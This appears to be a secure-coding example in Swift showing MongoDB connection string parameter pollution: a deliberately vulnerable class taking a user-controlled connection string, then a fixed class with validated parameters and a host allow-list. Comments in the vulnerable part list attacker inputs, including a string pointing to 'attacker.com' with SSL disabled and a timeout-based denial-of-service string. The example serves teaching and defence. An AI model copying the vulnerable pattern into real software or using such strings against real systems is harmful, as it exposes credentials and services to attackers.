Connection String Parameter Pollution

import MongoSwift

class MongoService {
    // VULNERABLE: User-controlled MongoDB connection string
    func connectToMongoDB(connectionString: String) async throws {
        // connectionString from environment variable, config file, or query parameter
        // Attacker might provide:
        // "mongodb://attacker.com/malicious?authSource=admin&ssl=false"
        // "mongodb://localhost/mydb?connectTimeoutMS=1&socketTimeoutMS=1" (DoS)

        // ISSUE: User controls entire connection string
        let client = try MongoClient(connectionString)

        let db = client.db("myapp")
        // Attacker may have connected to their own server or disabled security
    }
}

import MongoSwift

class SecureMongoService {
    // FIXED: Use structured configuration, not raw strings
    func connectToMongoDB(host: String, port: Int, database: String, username: String, password: String) async throws {
        // Validate inputs
        guard isValidHostname(host),
              isValidPort(port),
              isValidIdentifier(database),
              isValidIdentifier(username) else {
            throw ValidationError.invalidInput
        }

        // Build connection string with validated parameters
        let connectionString = "mongodb://\(username):\(password)@\(host):\(port)/\(database)?ssl=true&authSource=admin"

        let client = try MongoClient(connectionString)
    }

    // FIXED: Use connection options object
    func connectWithOptions() async throws {
        var options = MongoClientOptions()
        options.credential = MongoCredential(username: "user", password: "pass", source: "admin")
        options.tls = TLSOptions(enabled: true)

        let client = try MongoClient("mongodb://localhost:27017", options: options)
    }

    private func isValidHostname(_ host: String) -> Bool {
        // Whitelist allowed hosts
        let allowedHosts = ["localhost", "db.example.com", "mongo-cluster.example.com"]
        return allowedHosts.contains(host)
    }

    private func isValidPort(_ port: Int) -> Bool {
        return port > 0 && port <= 65535 && port == 27017 // Restrict to standard MongoDB port
    }

    private func isValidIdentifier(_ identifier: String) -> Bool {
        // Only allow alphanumeric and underscore
        let pattern = "^[a-zA-Z0-9_]+$"
        return identifier.range(of: pattern, options: .regularExpression) != nil
    }
}

enum ValidationError: Error {
    case invalidInput
}